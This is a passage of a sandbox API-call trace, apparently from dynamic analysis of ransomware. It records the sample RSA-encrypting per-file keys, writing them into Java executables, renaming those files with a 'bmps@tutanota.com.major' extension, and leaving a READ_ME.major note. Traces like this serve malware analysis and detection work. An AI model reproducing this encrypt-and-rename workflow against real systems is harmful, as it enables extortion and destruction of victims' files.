pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0164.598] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0164.599] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0164.599] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0164.599] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="xDL40Rl+Y9CLpQl6in7Uoavrq8dXnjZcL+PKPJtlDfWWbAPqgvVu3wVl5osW0SQq\n3UNUsYkdcHEeT2QCwEFwwxcfhk6tWNS4RfSHdyoxhoScmcz/TxxomcBfnTovTP4Y\nVZd1hidF51OV+6Ui3FoIi+vPLQBnUYRtWqYOLf8PWF0Ka5wowLRx7w35oGzV4bcF\nAE9iHGkZcMMpl60yjECTyDxr89s0tk72YfMtOuDoWUyOOmR/WsgffzvBG1Ma69+N\nSfHM5B5BGjwhdZIPrhNeOMktywWgYpJTrZ2Jas6z0ZsyYqGRkh1DLIlin7iNXNuA\n+vO5LRsi1COEYqiyjaujQg==\n", pcchString=0x2e3f9a8) returned 1 [0164.599] WriteFile (in: hFile=0x704, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0164.599] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0164.599] WriteFile (in: hFile=0x704, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0164.599] CloseHandle (hObject=0x704) returned 1 [0164.599] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0164.599] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\javaw.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\javaw.exe"), lpNewFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\javaw.exe.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\javaw.exe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0164.601] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f8a8 | out: hHeap=0x570000) returned 1 [0164.601] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0164.601] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0164.601] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0164.601] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0164.601] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0164.601] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0164.602] SetFileAttributesW (lpFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\java.exe", dwFileAttributes=0x80) returned 1 [0164.602] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0164.602] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x610370 [0164.602] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0164.602] CreateFileW (lpFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\java.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x704 [0164.602] GetFileSizeEx (in: hFile=0x704, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=206912) returned 1 [0164.602] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x32840) returned 0x2e60f28 [0164.603] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x32840) returned 0x2e93770 [0164.603] ReadFile (in: hFile=0x704, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0x32840, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0x32840, lpOverlapped=0x0) returned 1 [0164.731] SetFilePointer (in: hFile=0x704, lDistanceToMove=-206912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.731] WriteFile (in: hFile=0x704, lpBuffer=0x2e93770*, nNumberOfBytesToWrite=0x32840, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e93770*, lpNumberOfBytesWritten=0x2e3f9b4*=0x32840, lpOverlapped=0x0) returned 1 [0164.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0164.732] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e93770 | out: hHeap=0x570000) returned 1 [0164.732] SetFilePointer (in: hFile=0x704, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x32840 [0164.733] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0164.733] WriteFile (in: hFile=0x704, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0164.733] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0164.733] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0164.733] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0164.733] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0164.733] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="2SzohNPMVoKb/OOhtc3QxqRaa6Zl+e0ZeemHKM49sqH+RmvkLDGMXC+BU6aFofYE\nYbbCR+LGc8TEgxhb7KWE5y8edQSEkxONjfg5ylLukHtzysYwtdC2VyVG9ZCTl01J\nXim5wufN+hYuOarUe5Ed/8qYKVbmcF0MxXH4/7WA70VJQWNCsbZG9C7z7V/eJ99j\nclw1ZI6lTaVNAucSyzSv/N5w0Bj/1WzsfGvZQE96lQ8ej5GMZhDmL50ZK7jCb4e3\nO/Yw+fFbFnraXZplwxnorKDyieE2lttAfdZOBH91WBCf8tkk4xCUd4DXs4GUdAiq\ntZ2EULB2IHHFYc1XKPMDJw==\n", pcchString=0x2e3f9a8) returned 1 [0164.733] WriteFile (in: hFile=0x704, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0164.733] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0164.734] WriteFile (in: hFile=0x704, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0164.734] CloseHandle (hObject=0x704) returned 1 [0164.734] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0164.734] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\java.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\java.exe"), lpNewFileName="\\Users\\All Users\\Oracle\\Java\\javapath\\java.exe.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\java.exe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0164.735] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610370 | out: hHeap=0x570000) returned 1 [0164.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0164.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0164.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0164.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0164.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0164.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd808 | out: hHeap=0x570000) returned 1 [0164.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0164.736] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x21a03290, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21a03290, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x654760 [0164.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0164.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0164.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0164.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0164.736] GetLastError () returned 0x0 [0164.736] SetLastError (dwErrCode=0x0) [0164.736] GetLastError () returned 0x0 [0164.736] SetLastError (dwErrCode=0x0) [0164.736] GetLastError () returned 0x0 [0164.736] SetLastError (dwErrCode=0x0) [0164.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0164.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be738 [0164.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be738 | out: hHeap=0x570000) returned 1 [0164.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0164.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6546e0 [0164.736] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6546e0 | out: hHeap=0x570000) returned 1 [0164.736] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403f0 [0164.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403f0 | out: hHeap=0x570000) returned 1 [0164.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0164.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0164.737] FindNextFileW (in: hFindFile=0x654760, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x21a03290, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21a03290, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0164.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0164.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0164.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0164.737] GetLastError () returned 0x0 [0164.737] SetLastError (dwErrCode=0x0) [0164.737] GetLastError () returned 0x0 [0164.737] SetLastError (dwErrCode=0x0) [0164.737] GetLastError () returned 0x0 [0164.737] SetLastError (dwErrCode=0x0) [0164.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0164.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beb00 [0164.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb00 | out: hHeap=0x570000) returned 1 [0164.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0164.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6542e0 [0164.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6542e0 | out: hHeap=0x570000) returned 1 [0164.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40660 [0164.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40660 | out: hHeap=0x570000) returned 1 [0164.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0164.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0164.737] FindNextFileW (in: hFindFile=0x654760, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x21a03290, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x329cc, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="java.exe.1506877342345.bmps@tutanota.com.major", cAlternateFileName="JAVAEX~1.MAJ")) returned 1 [0164.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0164.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0164.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0164.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0164.738] GetLastError () returned 0x0 [0164.738] SetLastError (dwErrCode=0x0) [0164.738] GetLastError () returned 0x0 [0164.738] SetLastError (dwErrCode=0x0) [0164.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0164.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0164.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0164.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0164.738] GetLastError () returned 0x0 [0164.738] SetLastError (dwErrCode=0x0) [0164.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0164.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0164.738] FindNextFileW (in: hFindFile=0x654760, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x218a7a64, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x329cc, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="javaw.exe.1506877342345.bmps@tutanota.com.major", cAlternateFileName="JAVAWE~1.MAJ")) returned 1 [0164.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0164.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0164.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0164.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0164.738] GetLastError () returned 0x0 [0164.738] SetLastError (dwErrCode=0x0) [0164.738] GetLastError () returned 0x0 [0164.738] SetLastError (dwErrCode=0x0) [0164.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0980 [0164.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0164.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0164.738] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0980 | out: hHeap=0x570000) returned 1 [0164.738] GetLastError () returned 0x0 [0164.738] SetLastError (dwErrCode=0x0) [0164.738] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0164.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0164.739] FindNextFileW (in: hFindFile=0x654760, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2185b5fb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x4e1cc, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="javaws.exe.1506877342345.bmps@tutanota.com.major", cAlternateFileName="JAVAWS~1.MAJ")) returned 1 [0164.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0164.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0164.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0164.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0164.739] GetLastError () returned 0x0 [0164.739] SetLastError (dwErrCode=0x0) [0164.739] GetLastError () returned 0x0 [0164.739] SetLastError (dwErrCode=0x0) [0164.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0164.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0164.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0164.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0164.739] GetLastError () returned 0x0 [0164.739] SetLastError (dwErrCode=0x0) [0164.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0164.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0164.739] FindNextFileW (in: hFindFile=0x654760, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19fb1942, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x19fb1942, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x19fb1942, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0164.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0164.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0164.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0164.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0164.739] GetLastError () returned 0x0 [0164.739] SetLastError (dwErrCode=0x0) [0164.739] GetLastError () returned 0x0 [0164.739] SetLastError (dwErrCode=0x0) [0164.739] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0164.739] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0164.740] GetLastError () returned 0x0 [0164.740] SetLastError (dwErrCode=0x0) [0164.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0164.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0164.740] FindNextFileW (in: hFindFile=0x654760, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19fb1942, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x19fb1942, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x19fb1942, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0164.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d08b8 [0164.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0164.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d00e8 | out: hHeap=0x570000) returned 1 [0164.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdc8 | out: hHeap=0x570000) returned 1 [0164.740] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x19fb1942, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x654620 [0164.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0164.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0164.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0164.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0164.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d00e8 [0164.740] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0164.740] GetLastError () returned 0x12 [0164.740] SetLastError (dwErrCode=0x12) [0164.740] GetLastError () returned 0x12 [0164.740] SetLastError (dwErrCode=0x12) [0164.740] GetLastError () returned 0x12 [0164.740] SetLastError (dwErrCode=0x12) [0164.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0164.740] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0164.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0164.741] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0164.741] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6545a0 [0164.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6545a0 | out: hHeap=0x570000) returned 1 [0164.741] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405d0 [0164.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405d0 | out: hHeap=0x570000) returned 1 [0164.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0164.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0164.741] FindNextFileW (in: hFindFile=0x654620, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x19fb1942, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0164.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d00e8 | out: hHeap=0x570000) returned 1 [0164.741] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0164.741] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0164.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0164.741] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0164.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0164.741] GetLastError () returned 0x12 [0164.741] SetLastError (dwErrCode=0x12) [0164.741] GetLastError () returned 0x12 [0164.741] SetLastError (dwErrCode=0x12) [0164.741] GetLastError () returned 0x12 [0164.741] SetLastError 